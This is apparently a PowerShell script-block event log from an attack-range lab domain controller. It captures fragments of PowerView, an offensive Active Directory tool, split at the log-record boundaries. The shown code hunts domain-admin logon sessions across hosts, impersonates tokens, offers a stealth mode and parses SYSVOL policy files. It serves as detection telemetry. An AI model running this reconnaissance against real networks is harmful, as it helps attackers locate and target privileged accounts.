elseif ($PSBoundParameters['UserIdentity'] -or $PSBoundParameters['UserLDAPFilter'] -or $PSBoundParameters['UserSearchBase'] -or $PSBoundParameters['UserAdminCount'] -or $PSBoundParameters['UserAllowDelegation']) {
$TargetUsers = Get-DomainUser @UserSearcherArguments | Select-Object -ExpandProperty samaccountname
}
else {
$GroupSearcherArguments = @{
'Identity' = $UserGroupIdentity
'Recurse' = $True
}
if ($PSBoundParameters['UserDomain']) { $GroupSearcherArguments['Domain'] = $UserDomain }
if ($PSBoundParameters['UserSearchBase']) { $GroupSearcherArguments['SearchBase'] = $UserSearchBase }
if ($PSBoundParameters['Server']) { $GroupSearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $GroupSearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $GroupSearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $GroupSearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $GroupSearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $GroupSearcherArguments['Credential'] = $Credential }
$TargetUsers = Get-DomainGroupMember @GroupSearcherArguments | Select-Object -ExpandProperty MemberName
}
Write-Verbose "[Find-DomainUserLocation] TargetUsers length: $($TargetUsers.Length)"
if ((-not $ShowAll) -and ($TargetUsers.Length -eq 0)) {
throw '[Find-DomainUserLocation] No users found to target'
}
# the host enumeration block we're using to enumerate all servers
$HostEnumBlock = {
Param($ComputerName, $TargetUsers, $CurrentUser, $Stealth, $TokenHandle)
if ($TokenHandle) {
# impersonate the the token produced by LogonUser()/Invoke-UserImpersonation
$Null = Invoke-UserImpersonation -TokenHandle $TokenHandle -Quiet
}
ForEach ($TargetComputer in $ComputerName) {
$Up = Test-Connection -Count 1 -Quiet -ComputerName $TargetComputer
if ($Up) {
$Sessions = Get-NetSession -ComputerName $TargetComputer
ForEach ($Session in $Sessions) {
$UserName = $Session.UserName
$CName = $Session.CName
if ($CName -and $CName.StartsWith('\\')) {
$CName = $CName.TrimStart('\')
}
# make sure we have a result, and ignore computer$ sessions
if (($UserName) -and ($UserName.Trim() -ne '') -and ($UserName -notmatch $CurrentUser) -and ($UserName -notmatch '\$$')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName)) {
$UserLocation = New-Object PSObject
$UserLocation | Add-Member Noteproperty 'UserDomain' $Null
$UserLocation | Add-Member Noteproperty 'UserName' $UserName
$UserLocation | Add-Member Noteproperty 'ComputerName' $TargetComputer
$UserLocation | Add-Member Noteproperty 'SessionFrom' $CName
# try to resolve the DNS hostname of $Cname
try {
$CNameDNSName = [System.Net.Dns]::GetHostEntry($CName) | Select-Object -ExpandProperty HostName
$UserLocation | Add-Member NoteProperty 'SessionFromName' $CnameDNSName
}
catch {
$UserLocation | Add-Member NoteProperty 'SessionFromName' $Null
}
# see if we're checking to see if we have local admin access on this machine
if ($CheckAccess) {
$Admin = (Test-AdminAccess -ComputerName $CName).IsAdmin
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Admin.IsAdmin
}
else {
$UserLocation | Add-Member Noteproperty 'LocalAdmin' $Null
}
$UserLocation.PSObject.TypeNames.Insert(0, 'PowerView.UserLocation')
$UserLocation
}
}
}
if (-not $Stealth) {
# if we're not 'stealthy', enumerate loggedon users as well
$LoggedOn = Get-NetLoggedon -ComputerName $TargetComputer
ForEach ($User in $LoggedOn) {
$UserName = $User.UserName
$UserDomain = $User.LogonDomain
# make sure wet have a result
if (($UserName) -and ($UserName.trim() -ne '')) {
if ( (-not $TargetUsers) -or ($TargetUsers -contains $UserName) -and ($UserName -notmatch '\$$')) {
$IPAddress = @(Resolve-IPAddress -ComputerName $TargetComputer)[0].IPAddress
772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112104Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local4962roper BeginInvoke() method that allows for an output queue
$Method = $Null
ForEach ($M in [PowerShell].GetMethods() | Where-Object { $_.Name -eq 'BeginInvoke' }) {
$MethodParameters = $M.GetParameters()
if (($MethodParameters.Count -eq 2) -and $MethodParameters[0].Name -eq 'input' -and $MethodParameters[1].Name -eq 'output') {
$Method = $M.MakeGenericMethod([Object], [Object])
break
}
}
$Jobs = @()
$ComputerName = $ComputerName | Where-Object {$_ -and $_.Trim()}
Write-Verbose "[New-ThreadedFunction] Total number of hosts: $($ComputerName.count)"
# partition all hosts from -ComputerName into $Threads number of groups
if ($Threads -ge $ComputerName.Length) {
$Threads = $ComputerName.Length
}
$ElementSplitSize = [Int]($ComputerName.Length/$Threads)
$ComputerNamePartitioned = @()
$Start = 0
$End = $ElementSplitSize
for($i = 1; $i -le $Threads; $i++) {
$List = New-Object System.Collections.ArrayList
if ($i -eq $Threads) {
$End = $ComputerName.Length
}
$List.AddRange($ComputerName[$Start..($End-1)])
$Start += $ElementSplitSize
$End += $ElementSplitSize
$ComputerNamePartitioned += @(,@($List.ToArray()))
}
Write-Verbose "[New-ThreadedFunction] Total number of threads/partitions: $Threads"
ForEach ($ComputerNamePartition in $ComputerNamePartitioned) {
# create a "powershell pipeline runner"
$PowerShell = [PowerShell]::Create()
$PowerShell.runspacepool = $Pool
# add the script block + arguments with the given computer partition
$Null = $PowerShell.AddScript($ScriptBlock).AddParameter('ComputerName', $ComputerNamePartition)
if ($ScriptParameters) {
ForEach ($Param in $ScriptParameters.GetEnumerator()) {
$Null = $PowerShell.AddParameter($Param.Name, $Param.Value)
}
}
# create the output queue
$Output = New-Object Management.Automation.PSDataCollection[Object]
# kick off execution using the BeginInvok() method that allows queues
$Jobs += @{
PS = $PowerShell
Output = $Output
Result = $Method.Invoke($PowerShell, @($Null, [Management.Automation.PSDataCollection[Object]]$Output))
}
}
}
END {
Write-Verbose "[New-ThreadedFunction] Threads executing"
# continuously loop through each job queue, consuming output as appropriate
Do {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
}
Start-Sleep -Seconds 1
}
While (($Jobs | Where-Object { -not $_.Result.IsCompleted }).Count -gt 0)
$SleepSeconds = 100
Write-Verbose "[New-ThreadedFunction] Waiting $SleepSeconds seconds for final cleanup..."
# cleanup- make sure we didn't miss anything
for ($i=0; $i -lt $SleepSeconds; $i++) {
ForEach ($Job in $Jobs) {
$Job.Output.ReadAll()
$Job.PS.Dispose()
}
Start-Sleep -S 1
}
$Pool.Dispose()
Write-Verbose "[New-ThreadedFunction] all threads completed"
}
}
function Find-DomainUserLocation {
<#
.SYNOPSIS
Finds domain machines where specific users are logged into.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainFileServer, Get-DomainDFSShare, Get-DomainController, Get-DomainComputer, Get-DomainUser, Get-DomainGroupMember, Invoke-UserImpersonation, Invoke-RevertToSelf, Get-NetSession, Test-AdminAccess, Get-NetLoggedon, Resolve-IPAddress, New-ThreadedFunction
.DESCRIPTION
This function enumerates all machines on the current (or specified) domain
using Get-DomainComputer, and queries the domain for users of a specified group
(default 'Domain Admins') with Get-DomainGroupMember. Then for each server the
function enumerates any active user sessions with Get-NetSession/Get-NetLoggedon
The found user list is compared against the target list, and any matches are
displayed. If -ShowAll is specified, all results are displayed instead of
the filtered set. If -Stealth is specified, then likely highly-trafficed servers
are enumerated with Get-DomainFileServer/Get-DomainController, and session
enumeration is executed only against those servers. If -Credential is passed,
then Invoke-UserImpersonation is used to impersonate the specified user
before enumeration, reverting after with Invoke-RevertToSelf.
.PARAMETER ComputerName
Specifies an array of one or more hosts to enumerate, passable on the pipeline.
If -ComputerName is not passed, the default behavior is to enumerate all machines
in the domain returned by Get-DomainComputer.
.PARAMETER Domain
Specifies the domain to query for computers AND users, defaults to the current domain.
.PARAMETER ComputerDomain
Specifies the domain to query for computers, defaults to the current domain.
.PARAMETER ComputerLDAPFilter
Specifies an LDAP query string that is used to search for computer objects.
.PARAMETER ComputerSearchBase
Specifies the LDAP source to search through for computers,
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER ComputerUnconstrained
Switch. Search computer objects that have unconstrained delegation.
.PARAMETER ComputerOperatingSystem
Search computers with a specific operating system, wildcards accepted.
.PARAMETER ComputerServicePack
Search computers with a specific service pack, wildcards accepted.
.PARAMETER ComputerSiteName
Search computers in the specific AD Site name, wildcards accepted.
.PARAMETER UserIdentity
Specifies one or more user identities to search for.
.PARAMETER UserDomain
Specifies the domain to query for users to search for, defaults to the current domain.
.PARAMETER UserLDAPFilter
Specifies an LDAP query string that is used to search for target users.
.PARAMETER UserSearchBase
Specifies the LDAP source to search through for target users.
e.g. "LDAP://OU=secret,DC=testlab,DC=local". Useful for OU queries.
.PARAMETER UserGroupIdentity
Specifies a group identity to query for target users, defaults to 'Domain Admins.
If any other user specifications are set, then UserGroupIdentity is ignored.
.PARAMETER UserAdminCount
Switch. Search for users users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER UserAllowDelegation
Switch. Search for user accounts that are not marked as 'sensitive and not allowed for delegation'.
.PARAMETER CheckAccess
Switch. Check if the current user has local admin access to computers where target users are found.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under for computers, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain and target systems.
.PARAMETER StopOnSuccess
Switch. Stop hunting after finding after finding a target user.
.PARAMETER Delay
Specifies the delay (in seconds) between enumerating hosts, defaults to 0.
.PARAMETER Jitter
Specifies the jitter (0-1.0) to apply to any specified -Delay, defaults to +/- 0.3
.PARAMETER ShowAll
Switch. Return all user location results instead of filtering based on target
specifications.
.PARAMETER Stealth
Switch. Only enumerate sessions from connonly used target servers.
.PARAMETER StealthSource
The source of target servers to use, 'DFS' (distributed file servers),
'DC' (domain controllers), 'File' (file servers), or 'All' (the default).
.PARAMETER Threads
The number of threads to use for user searching, defaults to 20.
.EXAMPLE
Find-DomainUserLocation
Searches for 'Domain Admins' by enumerating every computer in the domain.
.EXAMPLE
Find-DomainUserLocation -Stealth -ShowAll
Enumerates likely highly-trafficked servers, performs just session enumeration
against each, and outputs all results.
.EXAMPLE
Find-DomainUserLocation -UserAdminCount -ComputerOperatingSystem 'Windows 7*' -Domain dev.testlab.local
Enumerates Windows 7 computers in dev.testlab.local and returns user results for privileged
users in dev.testlab.local.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Find-DomainUserLocation -Domain testlab.local -Credential $Cred
Searches for domain admin locations in the testlab.local using the specified alternate credentials.
.OUTPUTS
PowerView.UserLocation
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.UserLocation')]
[CmdletBinding(DefaultParameterSetName = 'UserGroupIdentity')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DNSHostName')]
[String[]]
$ComputerName,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerDomain,
[ValidateNotNullOrEmpty()]
[String]
$ComputerLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$ComputerSearchBase,
[Alias('Unconstrained')]
[Switch]
$ComputerUnconstrained,
[ValidateNotNullOrEmpty()]
[Alias('OperatingSystem')]
[String]
$ComputerOperatingSystem,
[ValidateNotNullOrEmpty()]
[Alias('ServicePack')]
[String]
$ComputerServicePack,
[ValidateNotNullOrEmpty()]
[Alias('SiteName')]
[String]
$ComputerSiteName,
[Parameter(ParameterSetName = 'UserIdentity')]
[ValidateNotNullOrEmpty()]
[String[]]
$UserIdentity,
[ValidateNotNullOrEmpty()]
[String]
$UserDomain,
[ValidateNotNullOrEmpty()]
[String]
$UserLDAPFilter,
[ValidateNotNullOrEmpty()]
[String]
$UserSearchBase,
[Parameter(ParameterSetName = 'UserGroupIdentity')]
[ValidateNotNullOrEmpty()]
[Alias('GroupName', 'Group')]
[String[]]
$UserGroupIdentity = 'Domain Admins',
[Alias('AdminCount')]
[Switch]
$UserAdminCount,
[Alias('AllowDelegation')]
[Switch]
$UserAllowDelegation,
[Switch]
$CheckAccess,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$StopOnSuccess,
[ValidateRange(1, 10000)]
[Int]
$Delay = 0,
[ValidateRange(0.0, 1.0)]
[Double]
$Jitter = .3,
[Parameter(ParameterSetName = 'ShowAll')]
[Switch]
$ShowAll,
[Switch]
$Stealth,
[String]
[ValidateSet('DFS', 'DC', 'File', 'All')]
$StealthSource = 'All',
[Int]
[ValidateRange(1, 100)]
$Threads = 20
)
BEGIN {
$ComputerSearcherArguments = @{
'Properties' = 'dnshostname'
}
if ($PSBoundParameters['Domain']) { $ComputerSearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['ComputerDomain']) { $ComputerSearcherArguments['Domain'] = $ComputerDomain }
if ($PSBoundParameters['ComputerLDAPFilter']) { $ComputerSearcherArguments['LDAPFilter'] = $ComputerLDAPFilter }
if ($PSBoundParameters['ComputerS772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112093Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3862 [String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$GPOSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
if ($GPOSearcher) {
if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
$GPOAdsPaths = @()
if ($SearcherArguments['Properties']) {
$OldProperties = $SearcherArguments['Properties']
}
$SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
$TargetComputerName = $Null
if ($PSBoundParameters['ComputerIdentity']) {
$SearcherArguments['Identity'] = $ComputerIdentity
$Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
if(-not $Computer) {
Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
}
$ObjectDN = $Computer.distinguishedname
$TargetComputerName = $Computer.dnshostname
}
else {
$SearcherArguments['Identity'] = $UserIdentity
$User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
if(-not $User) {
Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
}
$ObjectDN = $User.distinguishedname
}
# extract all OUs the target user/computer is a part of
$ObjectOUs = @()
$ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
if($_.startswith('OU=')) {
$ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
}
}
Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
if ($ObjectOUs) {
# find all the GPOs linked to the user/computer's OUs
$SearcherArguments.Remove('Properties')
$InheritanceDisabled = $False
ForEach($ObjectOU in $ObjectOUs) {
$SearcherArguments['Identity'] = $ObjectOU
$GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
# extract any GPO links for this particular OU the computer is a part of
if ($_.gplink) {
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$Parts = $_.split(';')
$GpoDN = $Parts[0]
$Enforced = $Parts[1]
if ($InheritanceDisabled) {
# if inheritance has already been disabled and this GPO is set as "enforced"
# then add it, otherwise ignore it
if ($Enforced -eq 2) {
$GpoDN
}
}
else {
# inheritance not marked as disabled yet
$GpoDN
}
}
}
}
# if this OU has GPO inheritence disabled, break so additional OUs aren't processed
if ($_.gpoptions -eq 1) {
$InheritanceDisabled = $True
}
}
}
}
if ($TargetComputerName) {
# find all the GPOs linked to the computer's site
$ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
$SearcherArguments['Identity'] = $ComputerSite
$GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular site the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
}
}
# find any GPOs linked to the user/computer's domain
$ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
$SearcherArguments.Remove('Identity')
$SearcherArguments.Remove('Properties')
$SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
$GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
if($_.gplink) {
# extract any GPO links for this particular domain the computer is a part of
$_.gplink.split('][') | ForEach-Object {
if ($_.startswith('LDAP')) {
$_.split(';')[0]
}
}
}
}
Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
# restore the old properites to return, if set
if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
else { $SearcherArguments.Remove('Properties') }
$SearcherArguments.Remove('Identity')
$GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
# use the gplink as an ADS path to enumerate all GPOs for the computer
$SearcherArguments['SearchBase'] = $_
$SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
Get-DomainObject @SearcherArguments | ForEach-Object {
if ($PSBoundParameters['Raw']) {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
$_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
}
$_
}
}
}
else {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match 'LDAP://|^CN=.*') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$GPOSearcher = Get-DomainSearcher @SearcherArguments
if (-not $GPOSearcher) {
Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -match '{.*}') {
$IdentityFilter += "(name=$IdentityInstance)"
}
else {
try {
$GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
$IdentityFilter += "(objectguid=$GuidByteString)"
}
catch {
$IdentityFilter += "(displayname=$IdentityInstance)"
}
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
$GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
else { $Results = $GPOSearcher.FindAll() }
$Results | Where-Object {$_} | ForEach-Object {
if ($PSBoundParameters['Raw']) {
# return raw result objects
$GPO = $_
$GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
}
else {
if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
$GPO = Convert-LDAPProperty -Properties $_.Properties
try {
$GPODN = $GPO.distinguishedname
$GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
$gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
$GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
}
catch {
Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
}
}
else {
$GPO = Convert-LDAPProperty -Properties $_.Properties
}
772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112092Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local3762 the default domain policy .inf for dev.testlab.local
.EXAMPLE
Get-DomainGPO testing | Get-GptTmpl
Parse the GptTmpl.inf policy for the GPO with display name of 'testing'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-GptTmpl -Credential $Cred -GptTmplPath "\\dev.testlab.local\sysvol\dev.testlab.local\Policies\{31B2F340-016D-11D2-945F-00C04FB984F9}\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf"
Parse the default domain policy .inf for dev.testlab.local using alternate credentials.
.OUTPUTS
Hashtable
Ouputs a hashtable representing the parsed GptTmpl.inf file.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType([Hashtable])]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('gpcfilesyspath', 'Path')]
[String]
$GptTmplPath,
[Switch]
$OutputObject,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GptTmplPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GptTmplPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
$TargetGptTmplPath = $GptTmplPath
if (-not $TargetGptTmplPath.EndsWith('.inf')) {
$TargetGptTmplPath += '\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf'
}
Write-Verbose "[Get-GptTmpl] Parsing GptTmplPath: $TargetGptTmplPath"
if ($PSBoundParameters['OutputObject']) {
$Contents = Get-IniContent -Path $TargetGptTmplPath -OutputObject -ErrorAction Stop
if ($Contents) {
$Contents | Add-Member Noteproperty 'Path' $TargetGptTmplPath
$Contents
}
}
else {
$Contents = Get-IniContent -Path $TargetGptTmplPath -ErrorAction Stop
if ($Contents) {
$Contents['Path'] = $TargetGptTmplPath
$Contents
}
}
}
catch {
Write-Verbose "[Get-GptTmpl] Error parsing $TargetGptTmplPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-GroupsXML {
<#
.SYNOPSIS
Helper to parse a groups.xml file path into a custom object.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Add-RemoteConnection, Remove-RemoteConnection, ConvertTo-SID
.DESCRIPTION
Parses a groups.xml into a custom object. If -Credential is passed,
Add-RemoteConnection is used to mount \\TARGET\SYSVOL with the specified creds,
the files are parsed, and the connection is destroyed later with Remove-RemoteConnection.
.PARAMETER GroupsXMLpath
Specifies the groups.xml file path name to parse.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the remote system.
.OUTPUTS
PowerView.GroupsXML
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.GroupsXML')]
[CmdletBinding()]
Param (
[Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('Path')]
[String]
$GroupsXMLPath,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$MappedPaths = @{}
}
PROCESS {
try {
if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
$SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
if (-not $MappedPaths[$SysVolPath]) {
# map IPC$ to this computer if it's not already
Add-RemoteConnection -Path $SysVolPath -Credential $Credential
$MappedPaths[$SysVolPath] = $True
}
}
[XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
# process all group properties in the XML
$GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
$Groupname = $_.Properties.groupName
# extract the localgroup sid for memberof
$GroupSID = $_.Properties.groupSid
if (-not $GroupSID) {
if ($Groupname -match 'Administrators') {
$GroupSID = 'S-1-5-32-544'
}
elseif ($Groupname -match 'Remote Desktop') {
$GroupSID = 'S-1-5-32-555'
}
elseif ($Groupname -match 'Guests') {
$GroupSID = 'S-1-5-32-546'
}
else {
if ($PSBoundParameters['Credential']) {
$GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
}
else {
$GroupSID = ConvertTo-SID -ObjectName $Groupname
}
}
}
# extract out members added to this group
$Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
if ($_.sid) { $_.sid }
else { $_.name }
}
if ($Members) {
# extract out any/all filters...I hate you GPP
if ($_.filters) {
$Filters = $_.filters.GetEnumerator() | ForEach-Object {
New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
}
}
else {
$Filters = $Null
}
if ($Members -isnot [System.Array]) { $Members = @($Members) }
$GroupsXML = New-Object PSObject
$GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
$GroupsXML | Add-Member Noteproperty 'Filters' $Filters
$GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
$GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
$GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
$GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
$GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
$GroupsXML
}
}
}
catch {
Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
}
}
END {
# remove the SYSVOL mappings
$MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
}
}
function Get-DomainGPO {
<#
.SYNOPSIS
Return all GPOs or specific GPO objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all GPO objects for
the current domain are returned. To enumerate all GPOs that are applied to
a particular machine, use -ComputerName X.
.PARAMETER Identity
A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
.PARAMETER ComputerIdentity
Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
.PARAMETER UserIdentity
Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
